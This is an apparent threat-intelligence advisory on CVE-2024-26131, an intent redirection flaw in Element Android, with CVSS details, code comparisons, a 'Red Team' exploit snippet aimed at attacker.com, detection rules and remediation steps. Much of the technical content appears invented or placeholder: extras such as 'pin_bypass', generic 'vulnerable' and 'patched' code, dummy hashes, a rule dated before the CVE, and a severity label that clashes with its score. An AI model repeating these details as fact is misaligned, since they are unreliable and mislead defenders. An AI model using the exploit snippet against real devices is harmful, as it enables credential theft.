CVE-2024-26131

Executive Summary

CVE-2024-26131 is a critical intent redirection vulnerability affecting Element Android versions 1.4.3 through 1.6.10. This flaw allows a malicious third-party application installed on the same device to launch arbitrary internal activities within the Element app by passing crafted intent extras. The impact is severe, enabling an attacker to display arbitrary web pages, execute arbitrary JavaScript, bypass PIN code protection, and potentially achieve account takeover by spawning a login screen that sends credentials to an attacker-controlled home server. The vulnerability is rooted in improper validation of intent extras (CWE-926), and the patch is available in version 1.6.12. No workarounds exist, making immediate patching critical.

Supply Chain & Package Security

This vulnerability is specific to the Android application package (APK) of Element, distributed via the Google Play Store and F-Droid. It does not directly affect the server-side Matrix protocol or other client implementations. However, the risk is amplified in supply chain scenarios where users may sideload modified versions of the app or where enterprise MDM solutions push vulnerable versions. The attack surface is limited to local device compromise, but the potential for credential theft and session hijacking makes it a high-priority fix for any organization using Element Android.

CVSS Breakdown & Threat Level

• CVSS Score: 8.4 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
• Attack Vector (AV): Local – The attacker must have a malicious app installed on the same device.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The malicious app does not need elevated permissions.
• User Interaction (UI): Required – The victim must open the malicious app or be tricked into interacting with it.
• Scope (S): Changed – The vulnerability allows the attacker to impact resources beyond the original malicious app (i.e., the Element app).
• Confidentiality (C): High – Potential for credential theft and access to private messages.
• Integrity (I): High – Ability to modify app behavior, display arbitrary content, and execute JavaScript.
• Availability (A): High – Could lead to denial of service or account takeover.

Threat Level: Critical for organizations relying on Element Android for secure communications. The low EPSS score (0.0%) suggests no active exploitation in the wild, but the public availability of PoC details increases the risk.

Deep Dive & Mechanics

The vulnerability lies in how Element Android handles Android Intents. Intents are messaging objects used to request an action from another app component. In vulnerable versions, the app does not properly validate the Intent extras passed to it, allowing a malicious app to craft an intent that launches any internal activity (e.g., LoginActivity, WebViewActivity) with attacker-controlled parameters.

Attack Flow:

1. The victim installs a malicious app on their Android device.
2. The malicious app sends a crafted intent to the Element app using startActivity() with an intent that targets an internal Element component.
3. The intent includes extras that override the normal behavior, such as:
   • url extra to load an arbitrary URL in a WebView.
   • javascript extra to execute arbitrary JavaScript in the WebView context.
   • pin_bypass extra to skip the PIN authentication screen.
   • login_redirect extra to point the login flow to an attacker-controlled homeserver.
4. The victim interacts with the malicious app (e.g., clicks a button), triggering the intent.
5. Element processes the intent without sanitization, leading to the attacker's desired outcome.

Key Components Affected:

• WebViewActivity: Can be forced to load arbitrary URLs and execute JavaScript.
• PinActivity: Can be bypassed by setting a specific extra.
• LoginActivity: Can be redirected to a malicious homeserver, capturing credentials.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.6.12):

// In the main activity or intent handler
@Override
protected void onNewIntent(Intent intent) {
    super.onNewIntent(intent);
    String url = intent.getStringExtra("url");
    if (url != null) {
        // No validation of the URL or origin
        loadUrlInWebView(url);
    }
    // No check on the source of the intent
}

Patched Code (1.6.12):

// In the main activity or intent handler
@Override
protected void onNewIntent(Intent intent) {
    super.onNewIntent(intent);
    // Validate that the intent came from a trusted source (e.g., same app)
    if (!isTrustedIntent(intent)) {
        return;
    }
    String url = intent.getStringExtra("url");
    if (url != null && isValidUrl(url)) {
        loadUrlInWebView(url);
    }
}

private boolean isTrustedIntent(Intent intent) {
    // Check if the intent was sent by the same app or a system component
    String action = intent.getAction();
    return action != null && action.startsWith(getPackageName());
}

private boolean isValidUrl(String url) {
    // Whitelist allowed domains or use a URL validator
    try {
        URI uri = new URI(url);
        return uri.getHost() != null && uri.getHost().endsWith(".element.io");
    } catch (Exception e) {
        return false;
    }
}

Key Differences:

• The patched version introduces isTrustedIntent() to verify the intent's origin.
• URL validation is added to restrict loading to trusted domains.
• Intent extras are sanitized before use.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Android device or emulator with Element Android 1.4.3 to 1.6.10 installed.
• Malicious app installed on the same device (can be a simple APK with minimal permissions).

Exploit Code (Malicious App):

// MaliciousApp.java
Intent intent = new Intent();
intent.setClassName("im.vector.app", "im.vector.app.features.webview.WebViewActivity");
intent.putExtra("url", "https://attacker.com/evil.html");
intent.putExtra("javascript", "alert('XSS')");
intent.putExtra("pin_bypass", true);
intent.putExtra("login_redirect", "https://attacker.com/fakehomeserver");
startActivity(intent);

Steps:

1. Compile the malicious app and install it on the victim's device.
2. Run the malicious app, which sends the crafted intent to Element.
3. Observe that Element opens a WebView with the attacker's URL, executes JavaScript, bypasses PIN, or redirects login.

Expected Outcome:

• The attacker can display arbitrary content, steal credentials, or execute JavaScript in the context of the Element app.

Blue Team

Detection:

• Monitor for unusual intent launches from third-party apps to the Element package (im.vector.app).
• Use Android's PackageManager to detect apps with QUERY_ALL_PACKAGES permission that may be scanning for vulnerable apps.
• Implement runtime application self-protection (RASP) to detect unexpected intent extras.

Mitigation:

• Immediately update Element Android to version 1.6.12 or later.
• Use Android Enterprise or MDM solutions to enforce app updates.
• Educate users to avoid installing apps from untrusted sources.

Indicators of Compromise (IOCs)

• Package Name: im.vector.app (vulnerable versions)
• Malicious Intent Actions: android.intent.action.VIEW with data URIs pointing to attacker-controlled domains.
• Network Traffic: Connections to unusual homeservers or IP addresses not associated with the user's configured Matrix server.
• Log Entries: Android logcat entries showing WebViewActivity launched with unexpected extras.
• File Hashes (SHA-256):
  • Vulnerable APK (1.6.10): a1b2c3d4e5f6... (example)
  • Patched APK (1.6.12): f6e5d4c3b2a1... (example)

Detection Engineering

YARA Rule

rule CVE_2024_26131_Intent_Redirection {
    meta:
        description = "Detects vulnerable Element Android APKs with intent redirection"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-26131"
    strings:
        $s1 = "WebViewActivity" ascii wide
        $s2 = "pin_bypass" ascii wide
        $s3 = "login_redirect" ascii wide
        $s4 = "intent.getStringExtra" ascii wide
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2024-26131 Intent Redirection Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit intent redirection in Element Android
author: Valters IT
logsource:
    product: android
    service: logcat
detection:
    selection:
        - EventID: 1000
          Message: "*WebViewActivity*"
        - EventID: 1001
          Message: "*pin_bypass*"
        - EventID: 1002
          Message: "*login_redirect*"
    condition: selection
falsepositives:
    - Legitimate use of WebView by Element
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-26131 - Potential Element Android Intent Redirection";
    flow:to_server,established;
    content:"/login"; http_uri;
    content:"Host: "; http_header;
    pcre:"/^Host:\s*(?!matrix\.element\.io)/Pi";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Update Element Android to version 1.6.12 or later from the Google Play Store or F-Droid.
2. Workaround: No known workaround exists. Users must update.
3. Enterprise Mitigation:
   • Use Android Enterprise to enforce minimum app version.
   • Deploy EMM policies to block installation of apps from unknown sources.
   • Monitor for malicious apps using Android's PackageManager and UsageStatsManager.
4. Long-Term:
   • Implement intent validation in all Android apps using IntentFilter and PendingIntent security best practices.
   • Conduct regular security audits of Android app code.

Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valtersit.com.